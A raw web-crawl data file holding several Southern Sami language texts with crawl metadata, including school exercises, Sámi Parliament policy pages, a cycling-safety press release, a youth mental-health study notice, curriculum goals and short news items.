utnieh daan bïjjren? JIs ij mah vuekieh daan biejjien utnebe?\n- Vihkeles daejtie vuekide vaarjelidh? Buerkesth dov vaestiedassem.\n4. laavenjasse\nTjaelieh artihkelem teeman bïjre Såångedidh jïh provedh.\n5. laavenjasse\nTjaelieh novellam såångedimmien bïjre.\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\n- Kjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\nMaana-sujhtemen bïjreKjernestoff\nSaemien tsiehkiej bïjreKjernestoff\nDej baaletje såangoeKjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\nSåångedimmie jïh hïejeKjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:190380","date":"2020-08-09T02:22:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738380.22\/warc\/CC-MAIN-20200809013812-20200809043812-00036.warc.gz","language":"sma","language_score":0.9998782873,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9998782873153687}","num_words":155,"character_repetition_ratio":0.153,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkien barkoe våaroeminie åtna staate Nöörje lea tseegkesovveme göökte åålmegi eatnamasse, saemieh jïh daaroeh. Gåabpegh åålmegh dam seamma reaktam jïh dejtie seamma krïevenasside utnieh sijjen kultuvrem jïh sijjen gïelem evtiedidh. Mijjen reaktah goh saemieh, åålmegh jïh aalkoealmetjh leah tsegkieh mijjen bijjemes politihkesne jïh mijjen visjovnine saemien siebriedahkide. Mijjen ulmie lea orreme aarvoeh evtiedidh goh seammavyörtegsvoete, mïrrestalleme, solidariteete jïh raeffies ektiejielede åålmegi gaskem. Ulmie lea nåake sïerredimmien vööste barkedh jïh tjïelke seammagïetedimmiem buektiehtidh.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/sametinget.no\/mirrestalleme\/","date":"2020-09-19T09:09:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400191160.14\/warc\/CC-MAIN-20200919075646-20200919105646-00508.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":72,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Pressebïevnese Trygg Trafikk:ste\nJienebe goh 4\/10 almetjh leah tjïervesisnie sygkeldamme jïh 2\/10 eah hjelmem nuhtjh. Trygg Trafikk jïh Tryg Forsikring lægan sygkeldæjjaj nåake-voeth jïh voeth goerehtamme.\n43% jiehtieh dah leah geeruvisnie sygkeldamme. Daate Trygg Trafikk ij lyjhkh. Ij gååvnesh naanh formelle promilleraaste sygkeldæjjide, mohte dej lea joekoen dïedte eensilaakan sygkeldidh.\n-Gosse tjïervesisnie dellie geervebe doemesjidh, risikoem guarhkedh jïh dov båasarimmie naåkebe sjædta. Dellie kaanne vaarege jeatjah almetjidie sjædtah. Dannasinie tuhtjebe datne byörh sygkelen bïjre ussjedidh seammalaakan goh bijlen bïjre ussjedh: Aellieh tjïervesisnie vuejieh, gaskesadtemeåvtehke Trygg Trafikk:sne, Ann-Helen Hansen jeahta.\n2\/10 eah hjelmem nuhtjh\n54% jiehtieh dah iktegisth hjelmem nuhtjieh gosse sygkeldeminie, jïh 19% jiehtieh dallahmasten iktegisth hjelmem nuhtjieh. Læjhkan dallahmasten 2\/10 – 19% jiehtieh dah ij gåessie-gih hjelmem nuhtjieh.\n-Hijven evtiedimmie rïektes haaran jaårhka, jïh gellie almetjh guarkoeh hjelmh vihkeles jïh daerpies datnem vaarjelidh. Mohte onnetje håjnoes vuejnedh 2\/10 eah hjelmem nuhtjh, Ann-Helen Hansen jeahta.\nHjelmem nuhtjebe gosse maanajgujmie sygkeldibie\nDallahmasten 9\/10 – 86% jiehtieh dah hjelmem nuhtjieh gosse maanajgujmie sygkeldieh.\n-Hijven vuejnedh dan doe gellie sijhtieh åvteguvvie maanide årrodh. Mohte mujhtieh vihkeles aaj hjelmem nuhtjedh gosse ih maanajgujmie sygkeldh, gaskesadtemeraeriestæjja Tryg Forsikring:sne, Torbjørn Brandeggen jeahta.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/saernieh.no\/4-10-almetjh-leah-tjiervesisnie-sygkeldamme\/","date":"2020-10-01T18:34:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402131986.91\/warc\/CC-MAIN-20201001174918-20201001204918-00620.warc.gz","language":"sma","language_score":0.9998038411,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998038411140442}","num_words":173,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne saemien noere jïh 18-31 jaepien båeries? Dellie haestemem åadtjoeh meatan årrodh dotkemegoerehtimmesne Mihá – noere saemiej psykiske healsoe. Daate goerehtimmie haestemh jïh dååjresh gïetide mah leah ektiedamme dov saemien identiteetese jïh psykiske healsose. Dïhte aaj goerehtalla guktie datne dååjrh noere saemine årrodh. Goere gååvnese åarjel- julev jïh noerhtesaemiengïelesne, jïh daaroen.\nUlmie\nDaennie dotkemeprovsjeektesne dah sijhtieh gïehtjedidh dov dååjrehtsh jïh damtesh – mah guktie lea noere saemine årrodh. Dah sijhtieh daejredh guktie datne damth jïjtsedh identiteetesne, jïh mejtie leah naan dïedtelgimmiem vuj laavsemem dov saemienvoeten gaavhtan dååjrehtamme gaskeviermesne jnv. Dan lissine aaj sijhtieh govledh guktie dov jielede lea – jïjtsedh vuajnamahaereste. Guktie dov sïjsbielesne damtah, jïh guktie ålkoebielesne vååjnoe – mejtie datne naan gïerve dååjrehtsh utneme fuelhkesne vuj byjreskisnie, jïh guktie dejtie gïetedalleme.\nMij dagke buerie vuj båajhtoeh\nIj galkh guktie gænnah båajhtoeh årrodh daam provsjeektem åeliedidh. Mohte naan gyhtjelassh maaje gietskies saajrohth aamhtesi bïjre, guktie kanne beeke damtesh buektieh. Ih ennjeh daarpesjh vaestiedidh jis nimhtie damth. Daennie goerehtimmien mïnngiesæjrosne hov bïevnesh gaavnh, healsoefaaleldahkh jïh almetjh giej gujmie maahtah jearsoeslaakan soptsestidh, jis daarjpesjh.\nGuktie bïevnesigujmie mov bïjre?\nBïevnesh mah dov bïjre tjöönghkedamme edtjieh nuhtjedh veele guktie leah provsjeektebuerkiesnimmesne tjaalasovveme. Dov lea reaktah dejtie bïevnesidie gïehtjedidh jïh staeriedidh. Jih dov aaj reaktah daejredh guktie leah bïevnesidie gorrehtamme mubpiej gïehtjedæjjaj vööste.\nDan guhkie mij joem materiaalesne datnem mujhtehte, dellie dov lea reaktah:\n- gïehtjedidh magkerh bïevnesh utnieh dov bïjre,\n- bïevnesh jïjtjedh bïjre staeriedidh,\n- bïevnesh jïjtjedh bïjre slïejhtedehtedh,\n- kopijem åadtjodh jïjtjedh bïevnesijstie (dataportabiliteete), jïh\n- laejhtemem sedtedh persovnevaarjelimmien-moenehtsasse vuj daatagoerehtæmman, mah guktie leah dov bïevnesidie gietedalleme.\nIj galkh guhte gænnah dov soptsestimmeste maehtedh naan almetjem måjhtajidh vuj tjuvtjiedidh. Ij edtjh nommem vuj almetje-buerkiestimmiem gusnie gænnah årrodh. Aktem kodem datnem gurrede dov bïevneside. Barre dah gööktesh Ketil Lenert Hansen jïh Jonas R. Kunst maehtieh dam læstoem vuejnedh. Naan gille dotkijh aaj dagke tjaalegem darjoeh daej bïevnesi muhteste, mohte anonymisifeereme bïevnesh dellie åadtjoeh. Eah sih tjoevtenjem åadtjoeh dan persovnebïevnesi kodem tjoevtedh gænnah. Ij guhte gænnah galkh maehtedh datnem åahpanidh daej daataj tjirrh. Anonymifiseereme aaj leah provsjeekten mïnngesne 31.12.2029.\nJåerhkemisnie dotkeme\nDah sijhtieh noeri psykihkie healsoem vuaptan sjïdtedh, mohte aktem vihkeles ulmiem daennie dotkemisnie aaj lea goerehtidh guktie dijjen dååjrehtsh værtoehtieh, jïh mannasinie. Dannasinie hov vaajtelieh datne edtjh dam goerehtimmie-leahpam tjirrehtidh fïerhte mubpie jaepien daej båetije luhkie jaepiej doekoe. Jis meatan daennie goerehtimmesne, dellie aaj maehtieh naan aejkien datnem gïhtjedh naan lissiegoerehtimmesne vaestiedidh.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/saernieh.no\/datne-saemien-noere-daeredh-dotkemegoerehtimmesne-miha-noere-saemiej-psykiske-healsoe\/","date":"2020-10-01T19:10:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402131986.91\/warc\/CC-MAIN-20201001174918-20201001204918-00700.warc.gz","language":"sma","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000077486038208}","num_words":379,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie ulmine åtna sov jollebe ööhpehtimmie- jïh dotkemepolitihkese suerkie daerpies kapasiteetem jïh maahtoem buakta dan evtiedæmman maam Saemiedigkie saemien siebriedahkese vaajtele. Siebriedahke mij sjïehteladta daajroem vaarjelidh, evtiedidh jïh nuhtjedh lea hijvenlaakan ryöjredamme jïjtjemse orrestidh jïh ovmessie haestemh gïetedidh. Daajroeproduksjovne akte sjïehtelovveme bielie siebriedahkeste jïh siebriedahkeevtiedimmeste. Jollebe ööhpehtimmie jïh dotkeme leah gaajhki siebriedahkesuerkiej bïjre, jïh bielie fïerhten almetjen jieliedistie. Suerkie sosijaale integrasjovnem, evtiedimmiem, sïejhme bïevnesh jïh byögkeles mïelehammoedimmiem buakta.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/sametinget.no\/jollebe-oohpehtimmie-jih-dotkeme\/","date":"2020-09-19T08:54:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400191160.14\/warc\/CC-MAIN-20200919075646-20200919105646-00748.warc.gz","language":"sma","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000064373016357}","num_words":68,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n-\nMaahtaldahkeulmieh\n- Maahtoeulmie 2. jaepiedaltesen mænngan\n- Maahtoeulmie 4.jaepiedaltesen mænngan\n- Maahtoeulmie 7. jaepiedaltesen mænngan\n- Maahtoeulmie 10.jaepiedaltesen mænngan\n- Maahtoeulmie Jåa1 mænngan- studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa1 mænngan – barkoefaageles ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa3 mænngan- lissiebigkeme sïejhme studijemaahtose\n- Faagem vierhtiedidh\nMaahtoeulmie 7. jaepiedaltesen mænngan\nDotkijassaMål for opplæringen er at eleven skal kunne\n- eatnemefaageles gyhtjelassh hammoedidh man akt bïjre learohke onterde, raeriestidh seapan buerkiestimmieh, aktem soejkesjem darjodh jïh goerehtimmieh tjirrehtidh\n- soptsestidh man åvteste eatnemedaejriemisnie lea vihkeles hypoteesh darjodh jïh teestadidh viehkine systematihkeles vïhtesjimmijste jïh voejhkelimmijste, jïh soptsestidh man åvteste vihkeles illedahkh viertiestidh\n- digitaale viehkiedïrregh nuhtjedh eksperimentelle barkosne jïh feeltebarkosne\n- olkese giesedh jïh gïetedidh eatnemefaageles bïevnesh tjaalegijstie ovmessie meedijinie, jïh aktem åehpiedehtemem darjodh\n- lohkedh jïh guarkedh vaahra-mïerhkesjimmiem aarkebiejjien dorjesinie\nAlmetje eatnamisnieMål for opplæringen er at eleven skal kunne\n- soejkesjidh guktie edtja eatnemen vierhtieh nuhtjedh jïh nuhtedh, aarhti bïjre soptsestidh mah åtnasuvvieh, tjöönghkemen bïjre askeboelhki jïh jeatjah fenomeni mietie eatnamisnie, jïh aerpievuekiejgujmie viertiestidh jeatjah saemien siebriedahkine\n- buerkiestidh guktie daajroe kreeki jïh ledtiej dåemiedimmien bïjre åtnasuvvieh vijremisnie, göölemisnie, lidtemistie jïh båatsosne, jïh dåeriesmoerh digkiedidh nuhtemen bïjre mijjen vijrevierhtijste\n- soptsestidh guktie jeatjah aalkoealmetjh eatnemevierhtide nuhtjieh\nGellievoete eatnamisnieMål for opplæringen er at eleven skal kunne\n- soejkesjidh jïh tjirrehtidh goerehtimmieh unnemes aktene eatnemedajvesne, vïhtesjimmieh vïhtesjadtedh jïh illedahkide systematiseradidh\n- blommasjædtoeh goerehtidh jïh buerkiestidh, jïh funksjovnide dejtie ovmessie sjædtoebielide buerkiestidh tjaaleginie jïh guvviejgujmie\n- goerehtidh jïh digkiedidh naan faktovrh mah maehtieh tsevtsedh guktie vetsmieh bïhtsegieh jïh sjædtoeh sjidtieh\n- naan væhtah buerkiestidh sjædtoe-, goebpere- jïh kreeke-aarhtine jïh dejtie öörnegen mietie bïejedh\nKråahpe jïh healsoeMål for opplæringen er at eleven skal kunne\n- buerkiestidh almetjekråahpen evtiedimmiem, boernese-aalkoven raejeste geerve almetjen raajan\n- buerkiestidh mij puberteetesne heannede jïh joekehts kjønnsidentiteeten bïjre soptsestidh, jïh jeerehtsen bïjre seksuelle vaaksjoehtimmesne\n- åejviebielieh buerkiestidh vaajmoe- jïh gåbloesysteemesne jïh maam funksjovnide dïhte kråahpesne åtna\n- buerkiestidh guktie kråahpe jïjtjemse vaarjele skïemtjelassi vööste, jïh guktie infeksjovneskïemtjelassh heerrede jïh båehtjerde\n- bïevnesh jïh taalematerijellem tjöönghkedh jïh healsoeskaarah digkiedidh mah maehtieh sjïdtedh gosse ovmessie geeruvevierhtieh nåhtede\nFenomenh jïh aamhthMål for opplæringen er at eleven skal kunne\n- animasjovnh jïh jeatjah maallh nåhtadidh juktie buerkiestidh guktie planeeth jïh aske svihtjieh, jïh buerkiestidh guktie jaepieboelhkh jïh askeboelhkh sjidtieh\n- buerkiestidh guktie naan mineraalh jïh bïerje-aarhth leah sjïdteme, jïh goerehtidh naan såarhth mah gïetskesisnie gååvnesieh\n- åtnoem buerkiestidh naan energijegaaltijijstie åvtesne jïh daelie, jïh bïevnesh jïh statistihkem ribledh ovmessie gaaltijijstie juktie buerkiestidh jïh digkiedidh konsekvensh energijeåtnoste byjresasse gïetskesisnie jïh abpeveartenisnie\n- dïejvesem klijma buerkiestidh, naan fåantoeh klijmajarkelimmide damtedh, jïh goerehtidh jïh vïhtesjadtedh konsekvensh ekstreme-vearoldistie\n- fenomenh goerehtidh tjoejen, govlemen jïh gijjen bïjre, vïhtesjimmide digkiedidh jïh buerkiestidh guktie tjoeje maahta govlemem irhkedh\n- voejhkelimmieh darjodh magnetismine jïh elektrisiteetine, jïh illedahkide buerkiestidh jïh åehpiedehtedh\n- vihkeles jïjtsevoeth buerkiestidh gaassine, væskine, garre aamhtine jïh fasesertiestimmine viehkine partihkelemaalleste\n- buerkiestidh guktie aamhth leah bæjjese bigkeme, jïh guktie aamhth maehtieh jorkesidh viehkine dïejvesidie atovmh jïh molekylh nuhtjedh\n- voejhkelimmieh tjirrehtidh ovmessie kjemiske reaksjovnigujmie jïh buerkiestidh dej sjïere væhtah\nTeknologije jïh hammoeMål for opplæringen er at eleven skal kunne\n- soejkesjidh, bigkedh jïh teestadidh mekaniske stååkegaevnieh, jïh prinsihph buerkiestidh mekaniske sertiestimmide\n- soejkesjidh, darjodh jïh teestadidh aelhkie dorjesh mah elektriske energijem nuhtjieh, jïh reklameradidh gaervies dorjeme dorjesidie\n- jieledem buerkiestidh akten dorjesasse jïh digkiedidh mennie mieresne dorjese sjeahta monnehke evtiedimmine\nSide 8 Av 13","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.udir.no\/kl06\/NAT2-03\/Hele\/Kompetansemaal\/maahtoeulmie-7.-jaepiedaltesen-maenngan?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-09-23T23:45:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400212959.12\/warc\/CC-MAIN-20200923211300-20200924001300-00548.warc.gz","language":"sma","language_score":1.0,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0}","num_words":504,"character_repetition_ratio":0.099,"word_repetition_ratio":0.004,"special_characters_ratio":0.135,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie lea nænnoestamme 500 000,- kråvnah dåarjojne vedtedh sïeltese Rørosrein AS, mij daelie edtja stuerebe evtiedimmieprosjektine nierhkedh.\nRørosrein jåarhkeevtiedimmine bovtsenbearkoste gïehtele, jïh lissine gåassoehtimmiegåetiem Röörosen jarngesne åtna gusnie beapmoem gåassoehtieh mij voenges saemien aerpievuekieh våaroeminie åtna.\n-Sjollehke mijjieh maehtebe sïeltem dåarjodh mij voenges saemien aerpievuekieh jåarhkeevtiedimmesne nuhtjie, jïh lissiehtamme aarvoesjugniedimmiem dajven bovtsenbearkoste åådtje, saemiedigkieraerie Silje Karine Muotka (NSR) jeahta.\nRørosrein edtja daelie jienebi fysiske skåårvemigujmie nïerhkedh. Dah sijhtieh skåårvemh darjodh sijjen tseegkeldahkesne juktie maehtedh sijjen produksjovnem lissiehtidh. Lissine sïelte sæjhta skåårvemh gåassoehtimmiegåetesne darjodh guktie gåetie vielie maereles sjædta.\n-Mijjen leah nuepieh prosjekth abpe laantesne dåarjodh mah definisjovni nualan båetieh goh lissiejielemh båatsosne jallh saemien fealadasse. Mijjieh maaje eantan jienebh prosjekth sïjhtebe daej suerkiej sisnjeli åvtese, Muotka minngemes jeahta.\nVierhtieh vadtasuvvieh påasteste 40510 – Dåarjoe jeereldihkie jieliemasse, prioriteradimmien nuelesne Lissiejieleme båatsoe.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/saernieh.no\/saemiedigkie-rorosrein-bielie-millijovnigujmie-daarje\/","date":"2020-10-01T18:36:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402131986.91\/warc\/CC-MAIN-20201001174918-20201001204918-00351.warc.gz","language":"sma","language_score":0.9999623299,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999962329864502}","num_words":126,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.063,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajh njuajjan sjïdtimh juktie tjoerimh dan jaepien festivaalem hiejhtedh Covid-19:n dïehre, jïh dah restriksjovnh mah dïsse tjåavoeh. Raasten rastah gaskenasjovneles festivaale mij edtja kultuvreles jïh sosijaale råakedimmiesijjine Saepmesne årrodh. Ståvroen mietie ij gåaredh Raasten rastah tjïrrehtidh sov sïejhme hammosne, daaletje tsiehkesne.\nGosse laanestimmie vihth kontrollesne, dagke dle gåarede aktegh öörnedimmieh tjïrrehtidh båetijen festivaalen vööste 2022:sne. Ståvroe aavode daejtie öörnedimmide jïh orre festivaalem 2020:sne aelkedh soejkesjidh.\nJis dov naan gyhtjelassh, govlehtallh ståvroeåejvine Toini Bergstrøm e-påastine email@example.com jallh telefovnine 90 72 35 13.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/aajege.no\/sma\/raasten-rastah-2020-heajhtasovveme\/","date":"2020-09-26T21:02:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400245109.69\/warc\/CC-MAIN-20200926200523-20200926230523-00032.warc.gz","language":"sma","language_score":0.9999997616,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999997615814209}","num_words":77,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien Åålmege åadtjoeji daan jaepien permanente øørnegem jih daan gaavhtan edtja dihte Nidarosen bæspa Tor Singsaas daelie Saemien Åålmege, guessiedidh. Golme biejjieh, Saemien Åålmegen luvnie mænna. Dihte voestes tjåanghkoe Rørosesne ruffien 2.b. jih mubpien tjåanghkoe Snåasese daan tjaktjen jih gåalmede tjåanghkoe, orre jaepien mængan Aarboertese. Daate lea vihkeles barkoe bïskohpese, åådtje åarjel saemiej gujmie jih åarjelsaemien siebredahkene ååhpenidh dihte åarjelsaemien hearra Einar Bondevik bïevnede.\n– Vihkeles jih åahpenadtedh jih vïehkesjadtedh, Bondevike jeahta.\nBåatsoe jieleme.\nRørosesne edtjieh soptsestidh båatsoe jielemen bijre mij lea Rørosen dajvesne. Guktie åvtesne bovtsigujmie barkeme jih guktie daan biejjien, magkeres haesteme båatsoesaemide daelie.\n– Ij leah båatsoe barre jieleme, destie daam dihte maadth-gïele jih gïete-vætnoe båata. Båatsoe jieleme vihkeles kultuvreguedtije Bondevike jeahta.\nMijjien gærhkoe-gærja.\nEdtjieh soptsestidh daan orre gærhkoe-gærjan bijre mij daan daelvien bøøti. Daate gærja edtja vadtesinie sjïdtedh åarjelsaemien maanide gïeh njieljien jaepien båeries. Daate tjaebpies gærja åarjelsaemien gïelesne.\n– Daate joekoen gærja mestie maehtebe girmedh, Bondevike jeahta.\nGærhkoe veeljeme daan tjaktjen.\nDihte åarjelsaemien hearra, tuhtjie jienebh åarjelsaemieh edtjieh Saemien Åålmege dåarjelidh.\n– Mijjieh daarpesjibie jijnjh almetjh. Daan tjaktjen dihte gærhkoen veeljeme jih dellie aaj edtjebe veeljedh Saemien Åålmegen ståvroe lihtsegidie, Bondevike jeahta.\nBæspa edtja aaj Rørosen tjïeltiem jih Aajegem guessiedidh.\n- Lohkh aaj:","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.nrk.no\/sapmi\/nidarosen-baespa-edtja-aarjelsaemide-gaavnedidh-1.12389448","date":"2020-10-28T08:36:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107897022.61\/warc\/CC-MAIN-20201028073614-20201028103614-00559.warc.gz","language":"sma","language_score":0.9999943972,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999943971633911}","num_words":193,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ööhpehtimmie:\nSaemiedigkien leah soptsestimmieh ööhpehtimmieinstitusjovnigujmie faalenassi bïjre jollebe ööhpehtimmien sisnjelen. Saemien skïemtjesåjhtereööhpehtimmie mij tseegkesåvva 2021 Saemien jïlleskuvleste jïh UiT Nöörjen arktiske universiteeteste, lea illedahke soptsestimmijste sjyöhtehke ööhpehtimmieinstitusjovnigujmie jïh Maahtoedepartemeentine.\nSaemiedigkie lea vïhtesjæjja dennie nasjonaale iktedimmie-areenesne UHR-Saemien mij lea areena dejtie lïhtsegeinstitusjovnide mah saemien jollebe ööhpehtimmiem faalehtieh. UHR-saemien tseegkesovvi rååresjimmiej mænngan Maahtoedepartemeentine, jïh lea ektievoete Universiteete- jïh jïlleskuvleraeresne (UHR). UHR lea tjaelemesijjie UHR-saemien-dåahkan.\nSaemiedigkie aaj vïhtesjæjja UHR-lohkehtæjjaööhpehtimmesne mij laavenjassine åtna iktedidh jïh kvaliteetem nænnoestidh ööhpehtimmesne jïh dotkemisnie nöörjen lohkehtæjjaööhpehtimmesne.\nLohkehtæjjaööhpehtimmien jïh profesjovneevtiedimmien nasjonaale forume lea tseegkesovveme juktie guhkiebasse barkedh strategijine Lohkehtæjjaööhpehtimmie 2025. Saemiedigkie lea vïhtesjæjja forumisnie.\nDotkeme:\nGaajhki siebriedahkesuerkiej sisnjeli dotkeme fååtese mij maahta bieline årrodh daajroevåaroemistie dejtie politihkeles sjæjsjalimmide mah leah saemien siebriedahki bïjre.\nSaemiedigkiebïevnesisnie jollebe ööhpehtimmien jïh dotkemen bïjre jaepeste 2016, lea ovmessie suerkide tjuvtjiedamme gusnie Saemiedigkie veanhta dotkemedaerpiesvoete lea stïeresne.\nSaemiedigkie lea vïhtesjæjja saemien dotkemen programmeståvrosne (SAMISK III); Nöörjen dotkemeraeresne, NFR. Programmen bijjemes ulmie lea saemien dotkemem nænnoestidh, dovne kvantiteeten jïh vitenskapeles kvaliteeten bïjre.\nLohkh vielie Saemien dotkemen bïjre Nöörjen dotkemeraeresne daesnie.\nSaemiedigkie lea Nöörjen dotkemeraerine rååresjamme lïhtsegi bïjre dotkemeraerien porteføljeståvrojne jïh gåabph programme saemien dotkemasse edtja bïejesovvedh porteføljeståvrojde. Sïemesvoete sjïdti daej lïhtsegi bïjre porteføljeståvrojne; Camilla Brattland, Uit Nöörjen arktiske universiteete, porteføljeståvrosne Klijma jïh polaare, Ellen Inga Turi, Saemien jïlleskuvle, porteføljeståvrosne Tryjjesvoete, kultuvre jïh siebriedahke jïh Torjer A. Olsen, UiT Nöörjen arktiske universiteete, Ööhpehtimmien jïh maahtoen porteføljeståvrosne.\nLissine sïemes sjïdtin programmeståvroe dotkemeprogrammese SAMISK III stuvremedåehkine jåarhka NDR:n ståvroen nuelesne. Edtja daam öörnegem orresistie vuarjasjidh gosse programmeståvroen nammoehtimmieboelhke nåhka 31.12.21.\nNammoehtimmie dorjesovveme Saemiedigkien lïhtsegijstie foenteståvrojne regijonaale dotkemeraeride Trööndelagesne jïh Nordlaantesne.\nNordlaanten foenteståvrosne Astrid Dankertsen ståvroelïhtsege boelhken 2020-2024. Lohkh vielie PDF Nordlaanten bïjre daesnie.\nTrööndelagen foenteståvrosne Birgitta Fossum lea ståvroelïhtsege jïh Sigbjørn Dunfjeld sæjjasadtje boelhken 2020-2023. Lohkh vielie RDF Trööndelagen bïjre daesnie","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/jollebe-oohpehtimmie-jih-dotkeme\/oohpehtimmie-jih-dotkemedaerpiesvoete\/","date":"2020-10-30T16:45:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00693.warc.gz","language":"sma","language_score":0.9999271631,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999271631240845}","num_words":276,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaavnh barkijem Ohtsemebaakoe Kategori Alle Jieleme-, kultuvre- jïh healsoegoevtese Reaktah jïh gaskenasjonaale goevtese Barkije Byjjenimmie- jïh lïerehtimmiegoevtese Direktöören staabe Gaskesadtemestaabe Gïelegoevtese Govlehtallijh dåarjoe Gærjagåetie Kultuvremojhtese-, areaale- jïh byjresegoevtese Reeremegoevtese Saemiedigkien tjirkijh Saemiedigkieraerie Stoerretjåanghkoestaabe Stoerretjåangkoeståvroe Ohtsh Vuesehth ohtsemefilterh Templates.Standard.PersonItemListPage.SortOrder Fornavn Etternavn Orresth ohtsemeilledahkem Skubph ohtsemefilterh A Aile Margrethe Eira Balto Stilling Vuosttaškonsuleanta\/Førstekonsulent Aili Guttorm Stilling Áirras\/representant Aili Keskitalo Stilling President Anders Linga Stilling Govlehtallije Dåarjoe marijne jieliemidie Anders Henriksen Stilling Ráđđeaddi\/Rådgiver André Nilsen Stilling Ráđđeaddi\/Rådgiver Andreas Stångberg Stilling Faageåvtehke kultuvremojhtesh Ann Irene Sæter Stilling Fágajođiheaddji\/Fagleder Ann Karin Kvernmo Stilling Áirras\/representant Ann Mari Somby Stilling Konsuleanta\/Konsulent Vuesehte 1-10 ållesth 207 personer, 